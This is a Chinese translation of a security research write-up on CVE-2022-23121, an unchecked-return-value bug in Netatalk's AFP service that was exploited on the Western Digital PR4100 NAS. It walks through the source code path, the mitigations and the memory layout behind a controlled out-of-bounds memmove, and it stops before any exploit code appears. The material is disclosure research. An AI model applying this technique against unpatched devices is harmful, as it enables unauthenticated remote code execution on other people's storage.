Western Digital PR4100 NAS 上的远程代码执行 (CVE-2022-23121)

原文链接:https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/

月饼漏洞

概括

这篇博文描述了一个未经检查的返回值漏洞,该漏洞由 NCC 集团利用开发小组 (EDG) 的Alex PlaskettCedric HalbronnAaron Adams于 2021 年 9 月发现并利用。我们在 2021 年 11 月的 Pwn2Own 2021 竞赛中针对 Western Digital PR4100 成功利用了它。Western Digital 发布了固件更新(5.19.117),完全删除了对开源第三方易受攻击服务“Depreciated Netatalk Service”的支持。由于此漏洞已在上游 Netatalk 代码中得到解决,因此分配了 CVE-2022-23121,并与新的 Netatalk 版本3.1.13一起发布了 ZDI 公告分布式,它与许多其他漏洞一起修复了此漏洞。

介绍

该漏洞位于Netatalk项目中,该项目是Apple 归档协议 (AFP)的开源实现。Netatalk 代码在/usr/sbin/afpd服务和/lib64/libatalk.so库中实现。该afpd服务默认在Western Digital My Cloud Pro 系列 PR4100 NAS 上运行。

该漏洞可远程利用,无需身份验证。它允许攻击者以nobodyNAS 上的用户身份远程执行代码。此用户可以访问通常需要身份验证的私有共享。

我们已经分析并利用了 5.17.107 版本上的漏洞,我们将在下面详细介绍,但旧版本也可能存在漏洞。

注意:西部数据 My Cloud Pro 系列 PR4100 NAS 基于 x86_64 架构。

我们将我们的漏洞利用命名为“Mooncake”。这是因为我们在 2021 年 9 月 21 日完成了编写我们的漏洞利用程序,这恰好是 2021 年中秋节又名月饼节的日子。

漏洞详情

背景

DSI / AFP 协议

Apple 归档协议 (AFP)是众所周知的服务器消息块 (SMB)协议的替代方案,用于通过网络共享文件。可以在此处找到 AFP 规范。

AFP 通过数据流接口 (DSI)协议传输,该协议本身通过 TCP/IP 在 TCP 端口 548 上传输。

然而,SMB 似乎赢得了文件共享网络协议之战,而 AFP 鲜为人知,即使仍然支持 NAS 等设备。AFP 协议在 OS X 10.9 中被弃用,AFP 服务器在 OS X 11 中被移除。

网聊

Netatalk项目是用于UNIX 平台的 AFP/DSI 实现,于 2000 年移至 SourceForge。其最初目的是允许类 UNIX 操作系统作为许多 Macintosh/OS X 客户端的 AFP 服务器。

如前所述,法新社的兴趣越来越少。这也反映在 Netatalk 项目中。最新的 Netatalk稳定版本(3.1.12) 于 2018 年 12 月发布,这使其成为一个相当弃用且不受支持的项目。

Netatalk 项目容易受到CVE-2018-1160dsi_opensession()漏洞的攻击,该漏洞是Netatalk < 3.1.12 中DSIOpensession 命令 ( ) 中的越界写入。由于没有 ASLR,这在Seagate NAS上被成功利用,后来在带有 ASLR 的环境中作为Hitcon 2019 CTF 挑战的一部分。

AppleDouble 文件格式

AppleSingle 和 AppleDouble文件格式旨在存储常规文件的元数据,并允许在不同文件系统之间共享该信息,而不必担心互操作性。

主要思想是基于任何文件系统都允许将文件存储为一系列字节的事实。因此,如果另一端的文件系统支持它们,则可以将常规文件的元数据(又名属性)保存到常规文件中的附加文件中,并将这些属性反映回另一端(或至少其中一些)。否则,可以丢弃附加属性。

AppleSingle 和 AppleDouble 规范可在 此处找到。AppleDouble 文件格式也在samba 源代码中用这张图解释:

/*
   "._" AppleDouble Header File Layout:
         MAGIC          0x00051607
         VERSION        0x00020000
         FILLER         0
         COUNT          2
     .-- AD ENTRY[0]    Finder Info Entry (must be first)
  .--+-- AD ENTRY[1]    Resource Fork Entry (must be last)
  |  |   /////////////
  |  '-> FINDER INFO    Fixed Size Data (32 Bytes)
  |      ~~~~~~~~~~~~~  2 Bytes Padding
  |      EXT ATTR HDR   Fixed Size Data (36 Bytes)
  |      /////////////
  |      ATTR ENTRY[0] --.
  |      ATTR ENTRY[1] --+--.
  |      ATTR ENTRY[2] --+--+--.
  |         ...          |  |  |
  |      ATTR ENTRY[N] --+--+--+--.
  |      ATTR DATA 0   <-'  |  |  |
  |      ////////////       |  |  |
  |      ATTR DATA 1   <----'  |  |
  |      /////////////         |  |
  |      ATTR DATA 2   <-------'  |
  |      /////////////            |
  |         ...                   |
  |      ATTR DATA N   <----------'
  |      /////////////
  |         ...          Attribute Free Space
  |
  '----> RESOURCE FORK
            ...          Variable Sized Data
            ...
*/

afpd二进制文件和库libatalk.so没有符号。但是,Western Digital 发布了他们使用的基于 Netatalk 开源的实现,以及由于GNU 通用公共许可证 (GPL)而在此处实现的补丁。西部数据发布的最新源代码存档是 5.16.105 版本,与分析的最新版本 (5.17.107) 不匹配。但是,我们已经确认了这一点,并且迄今为止从未在所有 OS 5 版本中进行过修改。因此,下面显示的代码通常是指 Netatalk 源代码。afpdnetatalk.so

注意:Western Digital PR4100 使用最新的 3.1.12 netatalk 源代码作为基础。

让我们分析一下 netatalk 代码在处理以 AppleDouble 文件格式存储的打开分叉文件时如何接受客户端连接、解析 AFP 请求以到达易受攻击的代码。

入口点函数初始化内存中的main()大量对象,加载 AFP 配置,并开始监听 AFP 端口 (TCP 548)。


//netatalk-3.1.12/etc/afpd/main.c int main(int ac, char **av) { ... /* wait for an appleshare connection. parent remains in the loop * while the children get handled by afp_over_{asp,dsi}. this is * currently vulnerable to a denial-of-service attack if a * connection is made without an actual login attempt being made * afterwards. establishing timeouts for logins is a possible * solution. */ while (1) { ... for (int i = 0; i < asev->used; i++) { if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) { switch (asev->data[i].fdtype) { case LISTEN_FD: if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) { ... } break; ... ```

dsi_start()函数基本上调用了 2 个函数:dsi_getsession()afp_over_dsi().

//netatalk-3.1.12/etc/afpd/main.c
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

对函数指针的dsi_getsession()调用是:dsi->proto_opendsi_tcp_open()

//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  ...
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */

dsi_tcp_open()函数接受客户端连接,创建一个子进程fork()并开始初始化与客户端的 DSI 会话。

Teaser:这对剥削很有用。

/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
    ...
   if (0 == (pid = fork()) ) { /* child */
        ...
    }

    /* send back our pid */
    return pid;
}

回到dsi_getsession()afpd集,而处理客户端连接集*childp != NULL的分叉子集afpd*childp == NULL

//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  ...
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    /* if we fail, just return. it might work later */
    LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
    return -1;

  case 0: /* child. mostly handled below. */
    break;

  default: /* parent */
    /* using SIGKILL is hokey, but the child might not have
     * re-established its signal handler for SIGTERM yet. */
    close(ipc_fds[1]);
    if ((child = server_child_add(serv_children, pid, ipc_fds[0])) ==  NULL) {
      LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
      close(ipc_fds[0]);
      dsi->header.dsi_flags = DSIFL_REPLY;
      dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);
      dsi_send(dsi);
      dsi->header.dsi_data.dsi_code = DSIERR_OK;
      kill(pid, SIGKILL);
    }
    dsi->proto_close(dsi);
    *childp = child;
    return 0;
  }
  ...
  switch (dsi->header.dsi_command) {
  ...
  case DSIFUNC_OPEN: /* setup session */
    /* set up the tickle timer */
    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
    dsi_opensession(dsi);
    *childp = NULL;
    return 0;

  default: /* just close */
    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
    dsi->proto_close(dsi);
    exit(EXITERR_CLNT);
  }
}

我们现在回到dsi_start(). 对于父级,没有任何反应,main()永远循环继续等待其他客户端连接。对于处理连接的孩子,afp_over_dsi()被调用。该函数读取 AFP 数据包(即 DSI 有效负载),确定 AFP 命令并调用afp_switch[]全局数组内的函数指针来处理该 AFP 命令。

//netatalk-3.1.12/etc/afpd/afp_dsi.c
/* -------------------------------------------
 afp over dsi. this never returns.
*/
void afp_over_dsi(AFPObj *obj)
{
    ...
    /* get stuck here until the end */
    while (1) {
        ...
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);
        ...
        switch(cmd) {
        ...
        case DSIFUNC_CMD:
            ...
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

afp_switch[]全局数组初始化为初始值,该值preauth_switch仅包含几个可用的预身份验证处理程序。postauth_switch一旦客户端通过身份验证,我们可以猜测它被设置为该值。这可以访问许多其他 AFP 功能。

//netatalk-3.1.12/etc/afpd/switch.c
/*
 * Routines marked "NULL" are not AFP functions.
 * Routines marked "afp_null" are AFP functions
 * which are not yet implemented. A fine line...
 */
static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,				/*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  32 -  39 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  40 -  47 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  48 -  55 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, afp_login_ext,				/*  56 -  63 */
    ...
};

AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
    NULL, afp_bytelock, afp_closevol, afp_closedir,
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,	/*   0 -   7 */
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,	/*   8 -  15 */
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,	/*  16 -  23 */
    afp_openvol, afp_opendir, afp_openfork, afp_read,
    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
    /*  24 -  31 */
    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */
    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
    afp_null, afp_null, afp_null, afp_null,			/*  40 -  47 */
    afp_opendt, afp_closedt, afp_null, afp_geticon,
    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,	/*  48 -  55 */
    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
    ...
};

有趣的是,西部数据 PR4100Public默认具有 AFP 共享,无需用户身份验证即可使用。这意味着只要我们以Public共享为目标,我们就可以访问所有这些身份验证后处理程序。还值得一提的是,相同的Public共享可通过服务器消息块 (SMB) 协议提供给来宾用户,无需任何密码。这意味着我们可以通过 AFP 或 SMB 读取/创建/修改任何文件,只要它们存储在Public共享中。

我们感兴趣的AFP命令是“FPOpenFork”,由afp_openfork()handler处理。如前所述,fork 文件是一种特殊类型的文件,用于存储与常规文件关联的元数据。fork 文件以 AppleDouble 文件格式存储。afp_openfork()处理程序找到要打开和调用的卷和分叉文件路径(ad_open()“ad”代表 AppleDouble)。

//netatalk-3.1.12/etc/afpd/fork.c
/* ----------------------- */
int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen)
{
    ...
    struct adouble  *adsame = NULL;
    ...
    if ((opened = of_findname(vol, s_path))) {
        adsame = opened->of_ad;
    }
    ...
    if ((ofork = of_alloc(vol, curdir, path, &ofrefnum, eid, adsame, st)) == NULL)
        return AFPERR_NFILE;
    ...
    /* First ad_open(), opens data or ressource fork */
    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {

ad_open()函数非常通用,因为它可以打开不同的分叉文件:数据分叉文件、元数据分叉文件或资源分叉文件。由于我们在这里处理资源分叉,我们最终调用ad_open_rf()(“rf”代表资源分叉)。

注意:ad_open()libatalk/文件夹中,而不是etc/afpd前面讨论的代码。因此,我们从现在开始分析的代码在libatalk.so.

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/*!
 * Open data-, metadata(header)- or ressource fork
 *
 * ad_open(struct adouble *ad, const char *path, int adflags, int flags)
 * ad_open(struct adouble *ad, const char *path, int adflags, int flags, mode_t mode)
 *
 * You must call ad_init() before ad_open, usually you'll just call it like this: \n
 * @code
 *      struct adoube ad;
 *      ad_init(&ad, vol->v_adouble, vol->v_ad_options);
 * @endcode
 *
 * Open a files data fork, metadata fork or ressource fork.
 *
 * @param ad        (rw) pointer to struct adouble
 * @param path      (r)  Path to file or directory
 * @param adflags   (r)  Flags specifying which fork to open, can be or'd:
 *                         ADFLAGS_DF:        open data fork
 *                         ADFLAGS_RF:        open ressource fork
 *                         ADFLAGS_HF:        open header (metadata) file
 *                         ADFLAGS_NOHF:      it's not an error if header file couldn't be opened
 *                         ADFLAGS_NORF:      it's not an error if reso fork couldn't be opened
 *                         ADFLAGS_DIR:       if path is a directory you MUST or ADFLAGS_DIR to adflags
 *
 *                       Access mode for the forks:
 *                         ADFLAGS_RDONLY:    open read only
 *                         ADFLAGS_RDWR:      open read write
 *
 *                       Creation flags:
 *                         ADFLAGS_CREATE:    create if not existing
 *                         ADFLAGS_TRUNC:     truncate
 *
 *                       Special flags:
 *                         ADFLAGS_CHECK_OF:  check for open forks from us and other afpd's
 *                         ADFLAGS_SETSHRMD:  this adouble struct will be used to set sharemode locks.
 *                                            This basically results in the files being opened RW instead of RDONLY.
 * @param mode      (r)  mode used with O_CREATE
 *
 * The open mode flags (rw vs ro) have to take into account all the following requirements:
 * - we remember open fds for files because me must avoid a single close releasing fcntl locks for other
 *   fds of the same file
 *
 * BUGS:
 *
 * * on Solaris (HAVE_EAFD) ADFLAGS_RF doesn't work without
 *   ADFLAGS_HF, because it checks whether ad_meta_fileno() is already
 *   openend. As a workaround pass ADFLAGS_SETSHRMD.
 *
 * @returns 0 on success, any other value indicates an error
 */
int ad_open(struct adouble *ad, const char *path, int adflags, ...)
{
    ...
    if (adflags & ADFLAGS_RF) {
        if (ad_open_rf(path, adflags, mode, ad) != 0) {
            EC_FAIL;
        }
    }

ad_open_rf()然后调用ad_open_rf_ea()

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/*!
 * Open ressource fork
 */
static int ad_open_rf(const char *path, int adflags, int mode, struct adouble *ad)
{
    int ret = 0;

    switch (ad->ad_vers) {
    case AD_VERSION2:
        ret = ad_open_rf_v2(path, adflags, mode, ad);
        break;
    case AD_VERSION_EA:
        ret = ad_open_rf_ea(path, adflags, mode, ad);
        break;
    default:
        ret = -1;
        break;
    }

    return ret;
}

ad_open_rf_ea()函数打开资源分叉文件。假设文件已经存在,它最终调用ad_header_read_osx()来读取实际内容,它是 AppleDouble 格式的:

static int ad_open_rf_ea(const char *path, int adflags, int mode, struct adouble *ad)
{
    ...

#ifdef HAVE_EAFD
    ...
#else
    EC_NULL_LOG( rfpath = ad->ad_ops->ad_path(path, adflags) );
    if ((ad_reso_fileno(ad) = open(rfpath, oflags)) == -1) {
        ...
    }
#endif
    opened = 1;
    ad->ad_rfp->adf_refcount = 1;
    ad->ad_rfp->adf_flags = oflags;
    ad->ad_reso_refcount++;

#ifndef HAVE_EAFD
    EC_ZERO_LOG( fstat(ad_reso_fileno(ad), &st) );
    if (ad->ad_rfp->adf_flags & O_CREAT) {
        /* This is a new adouble header file, create it */
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, initializing: \"%s\"",
            path, rfpath);
        EC_NEG1_LOG( new_ad_header(ad, path, NULL, adflags) );
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, flushing: \"%s\"",
            path, rfpath);
        ad_flush(ad);
    } else {
        /* Read the adouble header */
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): reading adouble rfork: \"%s\"",
            path, rfpath);
        EC_NEG1_LOG( ad_header_read_osx(rfpath, ad, &st) );
    }
#endif

我们终于达到了我们的易受攻击的功能:ad_header_read_osx().

了解漏洞

读取资源分支的ad_header_read_osx()内容,即以 AppleDouble 文件格式解释它。Netatalk 将 AppleDouble 文件格式的元素存储在其自己的adouble结构中,我们将很快详细说明。ad_header_read_osx()首先读取 AppleDouble 标头以确定有多少条目。

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/* Read an ._ file, only uses the resofork, finderinfo is taken from EA */
static int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst)
{
    ...
    struct adouble      adosx;
    ...
    LOG(log_debug, logtype_ad, "ad_header_read_osx: %s", path ? fullpathname(path) : "");
    ad_init_old(&adosx, AD_VERSION_EA, ad->ad_options);
    buf = &adosx.ad_data[0];
    memset(buf, 0, sizeof(adosx.ad_data));
    adosx.ad_rfp->adf_fd = ad_reso_fileno(ad);

    /* read the header */
    EC_NEG1( header_len = adf_pread(ad->ad_rfp, buf, AD_DATASZ_OSX, 0) );
    ...
    memcpy(&adosx.ad_magic, buf, sizeof(adosx.ad_magic));
    memcpy(&adosx.ad_version, buf + ADEDOFF_VERSION, sizeof(adosx.ad_version));
    adosx.ad_magic = ntohl(adosx.ad_magic);
    adosx.ad_version = ntohl(adosx.ad_version);
    ...
    memcpy(&nentries, buf + ADEDOFF_NENTRIES, sizeof( nentries ));
    nentries = ntohs(nentries);
    len = nentries * AD_ENTRY_LEN;

然后我们看到它调用parse_entries()来解析不同的 AppleDouble 条目。下面有趣的是,如果parse_entries()失败,它会记录一个错误但不会退出。

    nentries = len / AD_ENTRY_LEN; 
if (parse_entries( & adosx, buf, nentries) != 0 ) {         LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble" ,             path ? fullpathname(path) : "" );     }     

 

如果我们仔细观察parse_entries(),我们会发现如果发生以下情况之一,它会设置错误:

  • AppleDouble“eid”为零
  • AppleDouble“offset”超出范围
  • 如果添加到数据长度的 AppleDouble“offset”超出界限,则“eid”不指资源分叉时

我们知道我们正在处理资源分叉,所以第二个条件很有趣。简而言之,这意味着我们可以提供一个超出范围的 AppleDouble “偏移量”并parse_entries()返回一个错误,但ad_header_read_osx()忽略该错误并继续处理。

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Read an AppleDouble buffer, returns 0 on success, -1 if an entry was malformatted
 **/
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)
{
    uint32_t   eid, len, off;
    int        ret = 0;

    /* now, read in the entry bits */
    for (; nentries > 0; nentries-- ) {
        memcpy(&eid, buf, sizeof( eid ));
        eid = get_eid(ntohl(eid));
        buf += sizeof( eid );
        memcpy(&off, buf, sizeof( off ));
        off = ntohl( off );
        buf += sizeof( off );
        memcpy(&len, buf, sizeof( len ));
        len = ntohl( len );
        buf += sizeof( len );

        ad->ad_eid[eid].ade_off = off;
        ad->ad_eid[eid].ade_len = len;

        if (!eid
            || eid > ADEID_MAX
            || off >= sizeof(ad->ad_data)
            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data))))
        {
            ret = -1;
            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",
                (uint)eid, (uint)off, (uint)len);
        }
    }

    return ret;
}

从这里开始,了解哪些缓解措施是有用的,以了解我们需要绕过什么,并在parse_entries()返回后分析代码以了解我们可以构建什么样的利用原语。

开发

缓解措施到位

检查内核的 ASLR 设置:

root@MyCloudPR4100 ~ # cat /proc/sys/kernel/randomize_va_space 
2

这里

  • 0 – 禁用 ASLR。如果使用 norandmaps 引导参数引导内核,则应用此设置。
  • 1 – 随机化堆栈、虚拟动态共享对象 (VDSO) 页和共享内存区域的位置。数据段的基地址紧跟在可执行代码段的末尾。
  • 2 – 随机化堆栈、VDSO 页、共享内存区域和数据段的位置。这是默认设置。

使用checksec.pyafpd检查二进制文件的缓解措施:

[*] '/home/cedric/pwn2own/firmware/wd_pr4100/_WDMyCloudPR4100_5.17.107_prod.bin.extracted/squashfs-root/usr/sbin/afpd'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

所以总结一下:

  • afpd: 随机的
    • .text: 读/执行
    • .data:读/写
  • 图书馆:随机
  • 堆:随机
  • 堆栈:随机

由于一切都是随机的,我们将需要某种泄漏原语来绕过 ASLR。我们仍然需要调查是否可以触发越界偏移访问对利用有用的路径。

寻找好的利用原语

我们再来分析一下里面的代码ad_header_read_osx()。让我们假设前面讨论的parse_entries()函数解析一个 AppleDouble 文件,其中一些条目的偏移量可能超出范围。让我们看看parse_entries()回归后我们能做些什么。我们看到,假设if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {条件通过,它最终会调用 into ad_convert_osx()

    nentries = len / AD_ENTRY_LEN;
    if (parse_entries(&adosx, buf, nentries) != 0) {
        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
            path ? fullpathname(path) : "");
    }

    if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {
        LOG(log_warning, logtype_ad, "Convert OS X to Netatalk AppleDouble: %s",
            path ? fullpathname(path) : "");

        if (retry_read > 0) {
            LOG(log_error, logtype_ad, "ad_header_read_osx: %s, giving up", path ? fullpathname(path) : "");
            errno = EIO;
            EC_FAIL;
        }
        retry_read++;
        if (ad_convert_osx(path, &adosx) == 1) {
            goto reread;
        }
        errno = EIO;
        EC_FAIL;
    }

正如下面的评论所述,该ad_convert_osx()函数负责将 Apple 的 AppleDouble 文件格式转换为 Netatalk 中实现的格式的简化版本。

我们看到该ad_convert_osx()函数首先将原始 fork 文件(AppleDouble 文件格式)映射到内存中。然后它调用memmove()丢弃 FinderInfo 部分并将其余部分移到它上面。

//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Convert from Apple's ._ file to Netatalk
 *
 * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
 * containing packed xattrs. Netatalk can't deal with that, so we
 * simply discard the packed xattrs.
 *
 * As we call ad_open() which might result in a recursion, just to be sure
 * use static variable in_conversion to check for that.
 *
 * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
 **/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
    EC_INIT;
    static bool in_conversion = false;
    char *map;
    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
    ssize_t origlen;

    if (in_conversion || finderlen == ADEDLEN_FINDERI)
        return 0;
    in_conversion = true;

    LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
        fullpathname(path), finderlen);

    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

是时候看看adouble结构了。对我们来说重要的领域是ad_eid[]ad_data[]adouble读取 AppleDouble 文件时,该结构已被填充。所以我们控制所有这些领域。

//netatalk-3.1.12/include/atalk/adouble.h
struct ad_entry {
    off_t     ade_off;
    ssize_t   ade_len;
};

struct adouble {
    uint32_t            ad_magic;         /* Official adouble magic                   */
    uint32_t            ad_version;       /* Official adouble version number          */
    char                ad_filler[16];
    struct ad_entry     ad_eid[ADEID_MAX];

    ...
    char                ad_data[AD_DATASZ_MAX];
};

用于访问 EID 偏移量或长度字段的函数/宏以及数据内容非常不言自明:

  • ad_getentryoff(): 获取一个 EID 偏移值
  • ad_getentrylen(): 获取一个 EID 长度值
  • ad_entry():获取与 EID 关联的数据(通过从上述偏移中检索)
//netatalk-3.1.12/libatalk/adouble/ad_open.c
off_t ad_getentryoff(const struct adouble *ad, int eid)
{
    if (ad->ad_vers == AD_VERSION2)
        return ad->ad_eid[eid].ade_off;

    switch (eid) {
    case ADEID_DFORK:
        return 0;
    case ADEID_RFORK:
#ifdef HAVE_EAFD
        return 0;
#else
        return ad->ad_eid[eid].ade_off;
#endif
    default:
        return ad->ad_eid[eid].ade_off;
    }
    /* deadc0de */
    AFP_PANIC("What am I doing here?");
}
//netatalk-3.1.12/include/atalk/adouble.h
#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)
#define ad_setentrylen(ad,eid,len) ((ad)->ad_eid[(eid)].ade_len = (len))
#define ad_setentryoff(ad,eid,off) ((ad)->ad_eid[(eid)].ade_off = (off))
#define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)

所以我们控制 AppleDouble 文件格式中的所有字段。更准确地说,我们知道我们可以为我们需要的所有条目制作一个无效的 EID“偏移量”,因为前面讨论了parse_entries()未检查的返回值。此外,我们可以通过拥有更大的数据来制作所需大小的资源分支。这意味着我们可以有效地控制调用的源、目标和长度,memmove()以在内存映射之外控制我们控制的写入数据。

注意:我们要定位的条目是ADEID_FINDERIADEID_RFORK

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, 
            map + ad_getentryoff(ad, ADEID_RFORK), 
            ad_getentrylen(ad, ADEID_RFORK));

想到的下一个问题是内存映射映射到哪里?

通过测试发现,如果fork文件小于0x1000字节,则映射文件分配在之前相当高的地址uams_pam.souams_guest.sold-2.28.somappings. 更准确地说,ld-2.28.so映射总是在映射文件开始之后的 0xC000 字节,即使 ASLR 到位:

(gdb) info proc mappings 
process 26343
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x5579bb534000     0x5579bb53d000     0x9000        0x0 /usr/local/modules/usr/sbin/afpd
      0x5579bb53d000     0x5579bb571000    0x34000     0x9000 /usr/local/modules/usr/sbin/afpd
      0x5579bb571000     0x5579bb57c000     0xb000    0x3d000 /usr/local/modules/usr/sbin/afpd
      0x5579bb57c000     0x5579bb57d000     0x1000    0x47000 /usr/local/modules/usr/sbin/afpd
      0x5579bb57d000     0x5579bb580000     0x3000    0x48000 /usr/local/modules/usr/sbin/afpd
      0x5579bb580000     0x5579bb5a0000    0x20000        0x0 
      0x5579bcd51000     0x5579bcd72000    0x21000        0x0 [heap]
      0x5579bcd72000     0x5579bcd92000    0x20000        0x0 [heap]
      0x7f6c56e30000     0x7f6c56eb0000    0x80000        0x0 
      ...
      0x7f6c57e02000     0x7f6c57e24000    0x22000        0x0 /lib/libc-2.28.so
      0x7f6c57e24000     0x7f6c57f6c000   0x148000    0x22000 /lib/libc-2.28.so
      0x7f6c57f6c000     0x7f6c57fb8000    0x4c000   0x16a000 /lib/libc-2.28.so
      0x7f6c57fb8000     0x7f6c57fb9000     0x1000   0x1b6000 /lib/libc-2.28.so
      0x7f6c57fb9000     0x7f6c57fbd000     0x4000   0x1b6000 /lib/libc-2.28.so
      0x7f6c57fbd000     0x7f6c57fbf000     0x2000   0x1ba000 /lib/libc-2.28.so
      ...
      0x7f6c58129000     0x7f6c58134000     0xb000        0x0 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58134000     0x7f6c58177000    0x43000     0xb000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58177000     0x7f6c58191000    0x1a000    0x4e000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58191000     0x7f6c58192000     0x1000    0x67000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58192000     0x7f6c58194000     0x2000    0x68000 /usr/local/modules/lib/libatalk.so.18.0.0
      0x7f6c58194000     0x7f6c581b1000    0x1d000        0x0 
      0x7f6c581b2000     0x7f6c581b3000     0x1000        0x0 /mnt/HD/HD_a2/Public/edg/._mooncake
      0x7f6c581b3000     0x7f6c581b4000     0x1000        0x0 /usr/local/modules/lib/netatalk/uams_pam.so
